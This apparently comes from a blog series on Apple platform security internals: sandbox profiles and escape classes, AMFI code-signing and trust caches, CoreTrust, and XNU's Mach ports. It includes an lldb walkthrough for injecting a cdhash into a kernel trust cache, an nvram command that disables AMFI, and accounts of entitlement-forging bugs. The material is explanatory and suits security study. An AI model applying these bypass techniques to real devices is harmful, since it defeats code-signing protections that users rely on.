sandbox-exec -f /tmp/nonet.sb /usr/bin/curl -sI https://www.apple.com ; echo "exit: $?"

exit: 6

(allow default) lets curl start normally; the later (deny network*) wins for that one class, so its first network move, resolving the hostname, is refused. curl exits 6, CURLE_COULDNT_RESOLVE_HOST: the DNS query never left the sandbox. Keep log stream --predicate 'sender == "Sandbox"' open in another terminal and the violation surfaces as the nonet-demo message, the same way the kernel logged the AMFI kill in the last post.

You can read this profile because it is a Mac, and macOS ships the sources. On the device there is no quicklook-thumbnail.sb to cat: the profile is compiled into Sandbox.kext and locked in memory. To get the same list on iOS you query it at runtime with sandbox_check or Levin’s sbtool against a live process, or you pull the kext out of the kernelcache and run it through SandBlaster to recover the SBPL. More work than a cat, same answer.

What the profile tells an attacker

The allowed set is a target list, because sandbox escapes are dominated by logic bugs. A bug that reasons around the policy is unaffected by the kernel’s memory-safety hardening, for the reason the code-signing post gave: it never corrupts anything. The classes below are all visible from the profile we just read.

Confused deputy via mach-lookup. The most productive class by far. Each allowed global-name is a service running with its own profile, its own entitlements, and often a higher uid. Find a bug in one of them, memory-safety or logic, and you inherit its capabilities without ever attacking the sandbox itself. The method is invariant: enumerate the allowed services, rank them by privilege and entitlements, and audit each endpoint’s message handlers. Reachable is not exploitable, since a service may have its own tight profile and hardened handlers. And escaping into a service usually lands you in another, often wider, sandbox, so real chains stack escapes until they reach an unsandboxed or root deputy, or the kernel.

That last case is what Brandon Azad’s blanket (CVE-2018-4280) did on iOS: a Mach-service bug chained through reachable services to ReportCrash, which was unsandboxed, ran as root, and held task_for_pid-allow, so the confused deputy handed over the task port of any process on the device, amfid included. No memory was corrupted; the deputy did the privileged work on the attacker’s behalf.

Unsandboxed or under-sandboxed services. A reachable process with no profile at all, an (allow default), or a no-sandbox grant on its children is an escape by construction, and the first thing to grep the decompiled policies for. ReportCrash was the classic; the macOS analogue today is the tail of XPC services (XPC is Apple’s IPC layer over Mach, the subject of the next post) that auto-register in one process’s launchd domain when a framework loads and skip the entitlement checks their system-wide siblings enforce.

Bugs in the evaluation itself. Rare, because the interpreter is small and sees data you only indirectly control, and total when they land: a flaw in the interpreter, the regex engine, or the check on extension tokens (the signed grants a broker hands a client for one specific path) applies to every profile at once. The realistic corners are the regex table, where a pattern matches a path it should not through .., UTF-8, or case-folding, and the HMAC (keyed hash) that authenticates those tokens.

Entitlement and exception widening. Entitlements widen the profile as well as unlocking AMFI capabilities, and the mechanism is at the bottom of the QuickLook file:

217:  "com.apple.security.temporary-exception.mach-lookup.global-name"
218:  (lambda (name) (allow mach-lookup (global-name name))))
220:  "com.apple.security.temporary-exception.mach-lookup.local-name"
221:  (lambda (name) (allow mach-lookup (local-name name))))

A process whose signature carries that entitlement gets to resolve any service name it lists, overriding its own profile’s deny-default, though still only up to what the platform profile allows. It is an escape class the moment an exception is over-broad, or a broker issues one on a client’s say-so without checking that the client should have it.

Uncovered operations and filter races. The gaps: an operation nobody wrote a rule for, which inherits a too-generous default, or a path filter defeated by a symlink, a .., or a rename race slipped between the mpo_vnode_check_* callout and the filesystem operation itself. These are TOCTOU (time-of-check to time-of-use) bugs, and they appear wherever a filter matches a name that a moment later points somewhere else.

State in 2026

The model has not changed since 2021; the escape got narrower and better instrumented. The sandbox is still an in-XNU MACF kext, and unlike the code-signing verdict from the last post, which moved out to TXM (the Trusted Execution Monitor), sandbox evaluation did not migrate to TXM or to the Exclaves, the isolated domains that run outside XNU under the Secure Kernel. What changed is the surface around it.

• Per-syscall filtering matured. syscall-unix, syscall-mach, and kernel MIG-routine filtering (MIG, the Mach Interface Generator, produces the RPC stubs behind Mach interfaces) let a profile allow individual BSD syscalls, Mach traps, and kernel routines. WebContent, the Safari renderer, and BlastDoor now run with short explicit lists, so much of the raw XNU trap surface that was implicitly reachable in 2021 is explicitly denied per profile. Reverse the syscall nodes before you assume a trap is even callable from where you stand.
• The reachable-service set keeps shrinking. First-party profiles, WebContent above all, have had their mach-lookup lists cut repeatedly. From the modern Safari renderer the direct reach is minimal, principally the WebKit GPU and Networking processes, which is why the current browser escape pivots through the GPU process instead of messaging a daemon directly.
• Launch constraints and DER entitlements close adjacent attack paths. Launch constraints (iOS 16 and later) bind which process may spawn a given binary, killing the old trick of relaunching a privileged Apple binary in your own context to inherit its wider profile. Entitlements are now DER-encoded (Distinguished Encoding Rules, a canonical binary form rather than a plist) and validated by TXM, so forging one to widen a profile is far harder than it was.
• The policy itself is out of reach of a kernel write. The platform profile blob was always locked by KTRR/CTRR (the Kernel Text Read-only Region and its configurable successor), and on A15 and M2 silicon from iOS 17 and macOS 14 onward, the pages holding the compiled policy are, plausibly, owned by SPTM (the Secure Page Table Monitor) under its physical-frame retyping, so even full kernel read/write cannot patch a profile in place. The label is no longer reachable either: since iOS 15.2 and macOS 12.1 (xnu-8019.61.5), struct label is allocated from a read-only zone (ZC_READONLY, in security/mac_label.c) and its slots are written through zalloc_ro_update_field(), so the label edit that used to follow a kernel read/write now needs the allocator’s own privileged write path rather than a plain store.
• Sensitive resources are moving under Exclaves. Camera and microphone capture, and the recording indicator, are migrating to sensor and indicator Exclaves reached only through SPTM-mediated paths. A device-camera or device-microphone allow in a profile is becoming necessary but not sufficient, because the actual capture path is gated below XNU. A sandbox escape, or even a kernel compromise, no longer silently disables the recording indicator.

Sandbox logic is untouched by all of it: confused deputies, extension-scoping bugs, an under-sandboxed daemon, a profile gap, a filter race. kalloc_type and MIE (Memory Integrity Enforcement, the synchronous memory tagging on A19 and the iPhone 17 line) only make the stage after the escape harder, and it is only on anything still running iOS 15 or older that the old flow survives, where kernel read/write plus a plain label edit is the whole desandbox.

Where this leaves us

The sandbox is one compiled document per process, deny-by-default, walked by a small interpreter over a decision graph. The platform profile sets the maximum any process gets; a per-process profile and its entitlements narrow it further. You find its bugs by reading the profile: the allowed mach-lookup set is everything the process can reach, and therefore everything you can try.

Which is also the honest limit of this post. The profile tells you which drivers and services you may reach. It says nothing about how to talk to them, or what goes wrong when you do. The next post picks one iokit-open allowance and follows the user client behind it into the driver, down to the table that decides which function your call lands on.

Notes and sources

Everything here is drawn from open source, vendor documentation, published research, and the profiles shipped on any Mac.

• Dionysus Blazakis, “The Apple Sandbox” (Black Hat DC 2011), the original public reverse-engineering of the SBPL bytecode model, still the conceptual baseline.
• Răzvan Deaconescu et al. (malus-security), “SandBlaster: Reversing the Apple Sandbox” and the sandblaster decompiler (maintained fork at cellebrite-labs); reverse-sandbox/operation_node.py documents the 8-byte node layout, the 0x00 non-terminal / 0x01 terminal type byte, and the operation table of 16-bit offsets behind the walk above.
• Patroklos Argyroudis (CENSUS), “Vs com.apple.security.sandbox” (CanSecWest 2019), the hooks and the operation/filter internals from an offensive stance.
• nsantoine, “A Worm’s Look Inside: Apple’s Sandboxing Security Measures” (2024), a modern account of cred_sb_evaluate, label_get_sandbox, operation numbering, and the platform-profile-in-kext design.
• Brandon Azad, blanket (CVE-2018-4280), the canonical mach-lookup confused-deputy escape to ReportCrash.
• Apple, XNU source: security/mac_label.c for the read-only zone holding struct label and the zalloc_ro_update_field() path its slots are written through.
• Moritz Steffin and Jiska Classen, “Modern iOS Security Features: A Deep Dive into SPTM, TXM, and Exclaves” (2025), for the Exclaves and sensor/indicator domains behind the 2026 device-* changes.
• Apple, “Memory Integrity Enforcement” (2025), the primary source for synchronous memory tagging on A19 and the iPhone 17 line.
• Jonathan Levin, *OS Internals, Volume III: Security & Insecurity (newosxbook.com) and the sbtool utility, the reference for MACF, the sandbox internals, and querying a live process’s profile with sandbox_check.
• Apple, Apple Platform Security, for the app sandbox, data containers, and the privacy-indicator architecture at the vendor-documentation level.

Every time a process is created, through execve or posix_spawn, the kernel answers one question before it runs a single instruction of the new image: may these bytes execute? Anyone who has built for iOS has seen the visible answer, the log line AMFI: code signature validation failed. That line names AMFI, Apple Mobile File Integrity, so it is easy to read AMFI as the code-signing check. It is one policy module plugged into a generic kernel framework, and the verdict it reports comes out of a pipeline behind it, walked in a fixed order.

MACF: the framework AMFI plugs into

MACF was inherited from TrustedBSD and wired into XNU. It is not a security policy and enforces nothing on its own. It is a registration and dispatch layer: hook points placed through the kernel at every sensitive operation, into which separate policy modules register their callbacks.

AMFI is one of those policy modules, and so is the sandbox. AppleMobileFileIntegrity.kext, a kernel extension (kext), is a set of mpo_* callbacks hung on MACF hook points. That is why the two acronyms always show up together in a stack trace: AMFI is the policy, MACF is the mechanism it runs on. The sandbox, covered in the next post, is a second set of callbacks on the same hooks.

Two properties of the framework are load-bearing for an attacker.

Checks are deny-wins: when several policies implement the same check, the kernel keeps the most restrictive answer, so AMFI and the sandbox each hold an independent veto over the same operation. A bug that makes AMFI return “allow” early does not disable the sandbox’s hook on that operation, and the reverse is also true.

Each policy keeps its state in label slots on the objects the kernel tracks, and the one that matters here is cr_label, on a process’s credentials, the field we met at the end of the last post. AMFI’s per-process code-signing verdict and the sandbox’s compiled profile both live in it. The offensive consequence is direct: with kernel read/write, editing that slot rewrites the verdict the policy stored. Patch the AMFI slot and the recorded verdict says your process passed; patch the sandbox slot and the process is no longer confined. The framework is also its own target, since corrupting the policy list turns enforcement off wholesale. The sanctioned form of exactly that switch is the boot argument amfi_get_out_of_my_way.

What a signature is, ending at the cdhash

What the kernel decides about is the code signature embedded in the Mach-O, and it reduces to a single 20-byte number.

The invariant the whole component exists to enforce is W^X (write xor execute) plus code integrity: no page of memory is ever both writable and executable, and the contents of every executable page hash to a value a trusted party signed. Break that and a memory-corruption bug stops being a crash and becomes persistent native code, which is why every jailbreak eventually has to defeat this layer.

A signed Mach-O carries an LC_CODE_SIGNATURE load command pointing at a blob in its __LINKEDIT segment. That blob is a SuperBlob (magic 0xFADE0CC0): a small header, a count, and an index of (type, offset) pairs, each pointing at a sub-blob. The sub-blobs are the parts of the signature:

The CodeDirectory is the sub-blob that matters. It holds one hash per 4 KiB page of the signed region: the code slots. When a page is first faulted in, the virtual-memory system hashes it and compares it to the stored slot (cs_validate_page). Every normal process on iOS carries the CS_HARD | CS_KILL flags, so a mismatch is fatal: the kernel kills the process on the spot with SIGKILL, the signal a process cannot catch or ignore. That per-page check on first fault is the mechanism behind “you cannot patch a signed page in memory”. The exception is a page in a region that was never signed at all, which is the JIT (just-in-time compiled code) hole we return to later.

The CodeDirectory also binds the other sub-blobs into itself through special slots, each holding the hash of one sub-blob. You cannot alter the entitlements blob without changing the CodeDirectory, which is why the entitlement parser bugs later in this post are interesting.

And now the number. The cdhash is the hash of the CodeDirectory blob itself, truncated to CS_CDHASH_LEN, 20 bytes, whatever the underlying algorithm. It is the canonical identity of a binary, and every mechanism downstream keys on it: the trust cache is an allowlist of cdhashes, a launch-constraint category is assigned per cdhash, amfid’s reply is a cdhash, csops(CS_OPS_CDHASH) hands one back to userland. In the kernel it lives in a struct cs_blob hanging off the file’s vnode, the kernel’s handle on a file.

A binary is, for this purpose, its cdhash. “May these bytes run?” becomes “what does the kernel do with this 20-byte value at exec?”

The verdict pipeline

At exec, the kernel’s mac_vnode_check_signature entry point calls AMFI’s mpo_vnode_check_signature callback, the routine that produces the verdict. The other AMFI hooks around it do the smaller jobs: setting the CS_HARD | CS_KILL flags, enforcing library validation on loaded dylibs, gating MAP_JIT and get-task-allow. The signature check is the one that decides whether the process runs at all.

Inside that check, AMFI computes the binary’s cdhash and walks a pipeline. The order matters, because each stage trusts a different thing and has a different attack surface:

Read top to bottom, this is the entire answer to “may these bytes run?” The first row is the one that matters most: for most of the code on the device, there is no cryptography at exec time at all.

Trust caches: the allowlist

The base OS is thousands of Mach-O files, and validating a CMS chain for each one on every launch would be slow. Apple’s answer is an allowlist. A trust cache is a sorted list of cdhashes trusted without any signature validation: if a binary’s cdhash is in the cache it runs immediately as a platform binary, and the CMS blob is never read. That is step 1 of the pipeline, and the path taken by essentially the whole OS.

The cache is carried in an Image4 container (an IM4P payload, the format from the boot-chain post), tagged trst for the static cache, rtsc for a restore cache, ltrs for a loadable one. Inside is a short header (version, uuid, entry count) followed by sorted { cdhash, hashType, flags } entries, so a lookup is a binary search on the 20-byte cdhash. Version 2 adds a byte tying each entry to a launch-constraint category.

There are two kinds. The static trust cache is a signed Image4 object loaded alongside the kernelcache at boot, one per system disk image, and locked read-only after early boot: the allowlist for the shipped OS. Loadable trust caches are added at runtime, for a mounted disk image’s contents or a developer’s binaries.

This is one of the jailbreak’s oldest techniques. Before the page-table monitors existed, a loadable trust cache lived in ordinary writable __DATA kernel memory, and an exploit with kernel read/write appended its own binaries’ cdhashes to it. From that moment those binaries ran as platform code with no signature check. Electra’s inject_trusts is the canonical example, adding the cdhashes of amfid_payload.dylib and the rest of the jailbreak’s userland.

Aside: injecting a cdhash by hand in lldb

Attach a kernel debugger, lldb against a target matched to its Kernel Debug Kit, and you have kernel read/write for free, the same position a finished exploit is in when it reaches this step. On a build where the loadable trust cache still sits in writable kernel memory, the move is short: find the module, read its header, write your binary’s cdhash into a fresh entry, and raise the count over it.

(lldb) # a loadable trust cache module in kernel memory
(lldb) #   (recover the list-head symbol during symbolication)
(lldb) p (struct trust_cache_module1 *)<trust cache module>
(struct trust_cache_module1 *) $0 = 0xfffffff0<...>

(lldb) # header: version, a 16-byte uuid, then the entry count
(lldb) p $0->num_entries
(uint32_t) $1 = 41

(lldb) # each entry is { cdhash[20], hash_type, flags }, kept sorted
(lldb) # write your binary's cdhash (the 20 bytes from codesign -dvvv)
(lldb) # into the next slot, then raise the count over it
(lldb) memory write --infile cdhash.bin &$0->entries[41]
(lldb) expr -- $0->num_entries = 42

Two things make this harder than the four lines suggest. The entries are sorted so the lookup can binary-search them, so a correct injection inserts in order, or splices in a fresh single-entry module, which is what real injectors do. And it only works where that memory is writable: on a PPL device (Page Protection Layer, the pre-A15 page-table monitor) the trust cache lives in pmap_cs pages the kernel may not write, and on an SPTM device (Secure Page Table Monitor, its A15-and-later replacement) it is a monitor-owned frame. The identical write faults.

CoreTrust: the check that moved into the kernel

If the cdhash is not in a trust cache, the binary has to prove itself with its CMS signature. This stage exists because of what it replaced.

For years the real signature validation happened in userland, in the amfid daemon we meet next. The kernel’s AMFI would compute a cdhash, hand it to amfid, and trust amfid’s yes-or-no answer. That design has an obvious weakness once an attacker has kernel read/write: patch amfid. Every jailbreak of that era did. LiberiOS pointed amfid’s import of the validation function at a bad address and caught the resulting fault; Electra rebound it to a fake_MISValidateSignatureAndCopyInfo that simply returned success.

CoreTrust removed that weakness. It is an in-kernel validator (packaged as CoreTrust.kext on most builds) that parses the CMS SignedData structure, builds the X.509 certificate chain (X.509 is the standard certificate format), verifies every signature in it, and confirms the chain terminates at an Apple root certificate pinned inside the kernel. It then classifies the leaf certificate by its extensions into a signer class, App Store, developer or enterprise, and hands those policy flags back to AMFI. It deliberately does not look at entitlements or provisioning profiles; its entire job is “is this a genuine Apple-rooted signature, and of what kind.”

The consequence is that a patched amfid is no longer enough on its own. The cryptographic decision lives in the kernel now, anchored to a key an attacker with read/write can read but cannot make the CMS math validate against. With no valid Apple-rooted chain the binary dies in CoreTrust before amfid is ever asked, so jailbreaks moved their code-execution root to trust-cache injection and, later, to logic bugs in CoreTrust itself.

Its entire input is attacker-controlled ASN.1 (the tag-length-value encoding certificates are written in), which makes the parser and the chain-validation logic a target in their own right. CVE-2022-26766 is a real one, walked below.

amfid and provisioning profiles

amfid (/usr/libexec/amfid) is the userland daemon behind the third row of the pipeline, the one that carries third-party code: apps signed by a developer or an enterprise rather than baked into the OS or shipped through the App Store. The kernel’s AMFI reaches it over a dedicated Mach special port (port 18). It validates the binary against the provisioning profiles installed on the device, by calling MISValidateSignatureAndCopyInfo in libmis, and returns the cdhash and signer information.

A provisioning profile is a CMS-signed plist, stored under /var/MobileDeviceProvisioningProfiles, that binds four things together:

• the developer or enterprise certificate(s) allowed to sign,
• the entitlements the binary is permitted to claim,
• the device UDIDs (per-device unique identifiers) it may run on,
• an expiry date.

amfid cross-checks the binary’s actual signer and requested entitlements against this profile. That is the machinery behind a detail every iOS developer has hit: a free “personal team” profile expires in 7 days, so a sideloaded app stops launching a week later. Enterprise profiles last far longer, which is why enterprise certificates are what sideloading and iOS malware distribution run on.

Entitlements: signed capabilities

Entitlements have come up at every stage; here is the definition. An entitlement is a signed key/value pair bound into the CodeDirectory by a special slot, so it cannot be altered without changing the cdhash. It is a capability the signer cryptographically granted.

They fall into three groups:

AMFI enforces that a third-party binary may carry only the entitlements its provisioning profile authorizes; it cannot simply ask for platform-application and receive it. Forging membership in the restricted group, getting the kernel to believe a binary holds an entitlement it was never granted, is what the signature bugs below go after.

The last group is the handoff to the next post. A sandbox exception is an entitlement AMFI validates here, at exec, and that the sandbox consumes at runtime to widen what the process may touch.

The offensive angle: logic beats corruption

So where are the bugs? The memory-safety surface is real: the CMS ASN.1 decoder and the CodeDirectory’s bounds arithmetic are reachable from anything that gets a Mach-O parsed, and worth fuzzing. But the defining bugs of this component are logic. A logic bug in the code-signing policy needs no heap shaping, survives kalloc_type (the type-segregated kernel allocator), is untouched by memory tagging and is unaffected by the page-table monitor. The check runs exactly as written and still returns the wrong verdict. Three cases show the pattern.

Psychic Paper (Siguza, 2020, CVE-2020-9842, fixed in iOS 13.5) is the clearest case. iOS parsed the entitlements blob with three different plist parsers, OSUnserializeXML in the kernel, CFPropertyListCreateWithData in amfid, and libxpc’s xpc_create_from_plist, and Siguza found a comment construct they read differently: one saw a harmless plist, another an entitlement that was not there. The launch-time check validated the benign reading while the runtime granted the malicious one, so an unprivileged app could claim any entitlement it liked, up to platform-application. No memory was corrupted, two parsers disagreed, and the disagreement granted the entitlement. The fix added AMFIUnserializeXML to both AMFI and amfid and rejects the blob when its reading disagrees with the old parsers.

The DER sequel (Ivan Fratric, Project Zero, CVE-2022-42855, fixed in iOS 15.7.2) is the same bug in binary form. Apple had moved entitlements to DER partly to end these differentials, since DER is meant to have exactly one canonical reading, but libCoreEntitlements had three traversals that disagreed on how far a sequence extended. An entitlement smuggled in as an extra element was honored at runtime and invisible to the check meant to reject it.

The CoreTrust root bug (Linus Henze, CVE-2022-26766, fixed in iOS 15.5) attacked the certificate check instead of the parser, and it has the largest footprint. CoreTrust validated the CMS chain but never confirmed it terminated at an Apple root, so a certificate merely carrying the App Store extension, whoever issued it, made CoreTrust set the App Store flag and AMFI run the binary with nearly any entitlement. This is the primitive behind TrollStore 1: permanent, arbitrary code signing, with no memory corruption anywhere in it.

When the bug is in the kernel instead of the policy, this same component is the last step of post-exploitation. With kernel read/write, an attacker does not need a fresh signing bug: append a cdhash to a loadable trust cache, flip CS_PLATFORM_BINARY and clear CS_HARD | CS_KILL in a process’s p_csflags (its code-signing flags word), or edit the AMFI label slot to grant an entitlement. Each is a data-only write that turns “I control kernel memory” into “I run whatever code I want.” On pre-PPL hardware they all land as written; on a PPL device they need a PPL bypass first, for the reason the aside gave.

State in 2026

The pipeline above has not moved, but forging a verdict now takes more than a kernel write.

TXM, the Trusted Execution Monitor, makes the decision now. On A15 and M2 and later running iOS 17 or newer, the SPTM devices, Apple moved the code-signing verdict out of the XNU address space entirely. TXM runs above the kernel and holds the trust caches, the provisioning-profile registry and the signature objects in memory the page-table monitor never maps writable to the kernel. That is the lldb aside generalized: trust-cache injection and p_csflags forging are dead on this hardware. Post-exploitation now needs a monitor bug on top of the kernel bug, a subject for the hardening post later in this series.

The rest, in brief:

• DER entitlements are the enforced form since iOS 15, retiring the XML parser-differential class, though the DER decoder produced its own CVE-2022-42855.
• Launch constraints (iOS 16, everywhere by 2026) pin a system binary to the context it may launch in, closing the “reuse an old Apple-signed binary” and “repurpose a privileged helper” tricks.
• CoreTrust was hardened after CVE-2022-26766: the root anchor has been enforced since iOS 15.5. The same component then produced a second TrollStore-grade bug, CVE-2023-41991, a multiple-SignerInfo validation flaw that carried TrollStore 2 through iOS 15.5 to 16.6.1 and 17.0 and was fixed in 16.7 and 17.0.1. Permanent signing died with that fix, not with the 2022 one.
• Developer Mode (iOS 16) replaced the ad-hoc “just disable AMFI” paths with a signed, reboot-gated state.

What still works is the logic, for the reason the offensive section gave: a differential in the policy corrupts nothing, so none of these mitigations apply to it. The JIT hole is permanent by construction too: a process holding dynamic-codesigning owns a legitimately writable-then-executable mapping, and a bug inside such a process, a browser’s JavaScript engine being the obvious one, reaches native code without touching any of this machinery.

Hands-on: dumping the policy off a real binary

You can watch this whole pipeline from a Mac, no jailbreak needed, because every value it turns on is dumpable from a signature and a firmware image.

1. Read the SuperBlob and the cdhash. codesign -dvvv prints the CodeDirectory summary and the cdhash for any signed binary. /bin/ls is a good first target, one of Apple’s own platform binaries:

codesign -dvvv /bin/ls

Executable=/bin/ls
Identifier=com.apple.ls
Format=Mach-O universal (x86_64 arm64e)
CodeDirectory v=20400 size=741 flags=0x0(none) hashes=18+2 location=embedded
Hash type=sha256 size=32
CDHash=1205ca11b1c3f706109656bcf4e2c12439d843b7
Signature size=4442
Authority=Software Signing
Authority=Apple Code Signing Certification Authority
Authority=Apple Root CA
TeamIdentifier=not set

hashes=18+2 is 18 code slots plus 2 special slots, and CDHash=1205ca11... is the 20 bytes everything downstream keys on. The Authority= chain is what CoreTrust validates, terminating at Apple Root CA; the Software Signing leaf marks this as Apple’s own platform code, which is why it carries no team identifier and no entitlements.

2. See the allowlist itself. ipsw fw tc pulls the trust caches out of an IPSW (Apple’s signed firmware bundle): the static trst cache for the system volume, plus an rtsc restore cache for each restore ramdisk. Point it at the IPSW, not at a decompressed kernelcache:

ipsw fw tc iPhone10,3,iPhone10,6_15.0_19A346_Restore.ipsw
# ipsw fw tc --remote '<IPSW URL>' streams it instead of downloading

UUID:       E45C2F07-B759-44D4-BBD5-B3844FDBBED6
Version:    1
NumEntries: 2407
    0023c7654da7272bbd68953586f1a299b8bed350 sha256
    00262ea6bb7dcf7ee984c8280a6e5e5ac7a14584 sha256
    0037fc2307eae66eaf7139916862dc2b7336b43f sha256
    ...

This IPSW carries three; the system volume’s is the big one, 2,407 cdhashes, each a 20-byte value like the one codesign printed for /bin/ls in step 1, sorted for the binary search. Nearly all of the OS runs as platform code because its cdhash is one of these, with no CMS validation at all.

3. Try to grant yourself an entitlement. Steps 1 and 2 read Apple’s policy off finished binaries; now sign a capability into one. This is a macOS demonstration, because macOS runs locally-signed code at all; on iOS the binary would be killed for having no trust-cache entry and no Apple signature, long before entitlements came up.

A freshly compiled binary is ad-hoc signed by the linker and carries no entitlements. Sign a benign one in, the macOS debug entitlement com.apple.security.get-task-allow, and it still runs: any signer may carry that key, because it grants no authority the system has to vouch for. platform-application is the other kind. It marks a binary as Apple’s own platform code, the CS_PLATFORM_BINARY from the pipeline, so a self-signed binary must not be able to claim it:

cd /tmp
printf 'int main(void){return 0;}\n' > hello.c && clang -o hello hello.c
echo '{"platform-application":true}' | plutil -convert xml1 -o restricted.plist -
codesign -s - --entitlements restricted.plist -f ./hello
./hello; echo "exit: $?"
# zsh: killed  ./hello
# exit: 137

A SIGKILL, before main. With log stream --predicate 'sender == "kernel"' open in another Terminal, the reason prints as the process dies:

kernel: mac_vnode_check_signature: /private/tmp/hello: code signature validation failed fatally:
  Code has restricted entitlements, but the validation of its code signature failed.
kernel: validation of code signature failed through MACF policy: 1

platform-application is a restricted entitlement, so carrying it forces the signature to be authorized to carry it, and an ad-hoc signature is authorized by nobody. Note the check: mac_vnode_check_signature, failing through MACF policy, the exact hook and framework from the top of this post.

Sign the same binary with a genuine Apple Development identity and it dies the same way, exit 137, on the same mac_vnode_check_signature kill. Holding a real certificate is not authorization to carry a restricted entitlement. A developer can unlock some restricted entitlements with a provisioning profile, but platform-application is not one of them: no third-party profile grants it. Signing lets you write any entitlement into the blob and confers no authority to use a restricted one. That is what a bug like Psychic Paper bought.

4. Turn the enforcement off, and see what that takes. The sanctioned off-switch is the boot argument from the MACF section, amfi_get_out_of_my_way: set it and AMFI’s hooks allow without checking, so unsigned code runs. On a Mac it goes in NVRAM, the non-volatile store the boot loader reads at startup:

sudo nvram boot-args="amfi_get_out_of_my_way=0x1 cs_enforcement_disable=1"

On a stock machine that command changes nothing. The kernel ignores AMFI-disabling boot-args unless System Integrity Protection (SIP) is already off, and SIP comes off only from recoveryOS with csrutil disable, on Apple Silicon only after lowering the machine’s security policy from Full to Reduced.

On iOS none of that is available: a production iPhone will not let you write boot-args, and its release kernel would ignore them if you could. The argument is honored only on Apple’s own development-fused hardware, or on a device whose boot chain you have already broken: a checkm8-class Boot ROM bug that lets you patch iBoot and inject boot-args, or a kernel already patched by a jailbreak. You can only relax code signing if you can influence the boot chain, and the boot chain is the thing built to stop you.

Where this leaves us

When a process is created, the kernel computes its cdhash and walks a pipeline: the trust cache first (the allowlist that runs the base OS with no cryptography), then CoreTrust (an in-kernel CMS check anchored to a pinned Apple root), then amfid with the provisioning profiles. The outcome is written into the process’s credentials as flags and a label, along with the entitlements it was granted. AMFI runs this, plugged into MACF alongside the sandbox, and its defining bugs are logic: two parsers, or a certificate check, made to disagree.

That last handoff is the next post. AMFI has decided what this binary is allowed to be and stamped the answer, including its sandbox-exception entitlements, into cr_label. The sandbox reads that same label and decides the other question: now that the process is running, what is it allowed to touch? It is the second policy module on the same framework, and escaping it is usually a logic problem too.

Notes and sources

Everything here is drawn from open source, vendor documentation, and published research.

• Apple, Apple Platform Security, for code signing and trust caches at the vendor-documentation level.
• Apple’s open-source XNU is ground truth for the structures named here: osfmk/kern/cs_blobs.h (the CSMAGIC_* and CSSLOT_* values, CS_CDHASH_LEN), osfmk/kern/trustcache.h (the trust-cache header and entry layout), bsd/sys/code_signing.h and bsd/kern/code_signing/{xnu,ppl,txm}.c (the csm_* monitor interface), and security/mac_policy.h (the mpo_* MACF hook names).
• Siguza, “Psychic Paper” (2020), the technical account of the XML entitlement parser-differential and the AMFIUnserializeXML fix. Apple’s iOS 13.5 advisory credits CVE-2020-9842 to Linus Henze, not to Siguza, who had held the bug as a 0day.
• Ivan Fratric, “DER Entitlements: The (Brief) Return of the Psychic Paper” (Project Zero, 2023, CVE-2022-42855), the libCoreEntitlements DER traversal differential.
• Linus Henze, the CoreTrust root-anchor bug (CVE-2022-26766), documented on The Apple Wiki; the primitive behind TrollStore 1.
• Marwan Anastas, “Modern Jailbreaks’ Post-Exploitation” (Quarkslab, 2018), for trust-cache injection (inject_trusts) and the amfid-patching history that CoreTrust ended.
• Moritz Steffin and Jiska Classen, “Modern iOS Security Features: A Deep Dive into SPTM, TXM, and Exclaves” (2025), for TXM as the code-signing monitor and the txm_kernel_call path.
• Jonathan Levin, *OS Internals, Volume III: Security & Insecurity (newosxbook.com), the reference for AMFI, amfid, CoreTrust, trust caches, and provisioning profiles.

Everything a process does to the kernel, and everything an exploit does to escalate, converges on one capability: a handle, held in userland, that reads and writes kernel memory. In iOS folklore that handle is called tfp0. Almost every iOS kernel exploit is the same arc toward it: a memory-safety bug, a controlled reallocation, a type confusion into a kernel object, kernel read/write, and a rewritten credential.

The Mach and BSD hybrid

XNU is a hybrid, and the word is doing real work. Its core is Mach, which owns inter-process communication, virtual memory, and scheduling. The other half is a BSD personality, which owns the POSIX (standard Unix) surface: processes, the syscall table, the filesystem layer, sockets, and credentials. IOKit, the C++ driver runtime covered in a later post, rounds it out. All of it is linked into a single image, the kernelcache, running in one privileged address space at EL1, the kernel’s privilege level.

The hybrid is a performance decision. A true microkernel would run BSD and IOKit as separate Mach servers reached by message passing; XNU co-locates them in kernel space and lets them call each other directly.

That decision has a consequence an attacker cares about. There is no internal privilege boundary between these subsystems below the guarded monitors Apple added later: the Page Protection Layer (PPL), then the Secure Page Table Monitor (SPTM), both discussed near the end. A memory-safety bug in a niche IOKit driver or a BSD socket option corrupts the same privileged address space that holds ipc_port objects and, before those monitors, the page tables, so a BSD bug regularly ends up as a Mach primitive.

If you come from Linux, start with two mappings. A Mach port is the exact analogue of a file descriptor. Both are a small integer, valid only inside one process, that indexes a per-process table in the kernel and names a kernel object you never touch directly. You read and write a file through an int; you talk to a service, a task, or a driver through a mach_port_name_t. And like a file descriptor, a port is transferable: you hand a port to another process inside a Mach message, the same way you hand a file descriptor to another process with SCM_RIGHTS over a Unix socket.

A Mach message is the analogue of writing to a socket or pipe, with one difference. It can carry port rights and out-of-line memory, not just bytes, so sending a message can transfer a capability. That is why the rest of iOS security is built on Mach IPC.

Both mappings are rows in a longer correspondence. Many concepts have a Mach half and a BSD half of the same underlying thing:

A process is both a task and a proc, linked by a back-pointer, and a syscall from EL0, the unprivileged level where app code runs, lands in one of two dispatch tables depending on the sign of the syscall number.

The Mach half

Tasks and threads

A task is a container. It owns an address space (vm_map), a port namespace (ipc_space), a set of threads, and a handful of special ports it starts life with. A thread is the schedulable entity inside a task: it carries register state and its own control port. Both live in dedicated kernel zones (per-type allocator pools) and, on modern hardware, are increasingly kept in memory no other type can reuse, with their pointers signed.

For an attacker the task structure matters because it is the thing you eventually want to forge. A fake task you control, referenced by a port the kernel believes is a task control port, is a fake kernel task port.

Ports and port rights

A Mach port is an object inside the kernel, a struct ipc_port. It is a message queue with an ownership and rights model attached. Userland never sees the object or its address. It sees only a name, a mach_port_name_t, a small integer valid inside the naming task. Everything a task is allowed to do it does by holding the right kind of port.

The authority is not the port, it is the right you hold to it. There are four kinds:

• receive: unique, held by exactly one task, owns the message queue. Whoever holds the receive right is the service behind the port.
• send: a copyable capability to enqueue messages onto that queue.
• send-once: guarantees exactly one message, then is consumed. Reply ports use these.
• dead-name: what a right becomes when its port dies.

The whole capability model is one sentence: the right you hold decides what you are allowed to do.

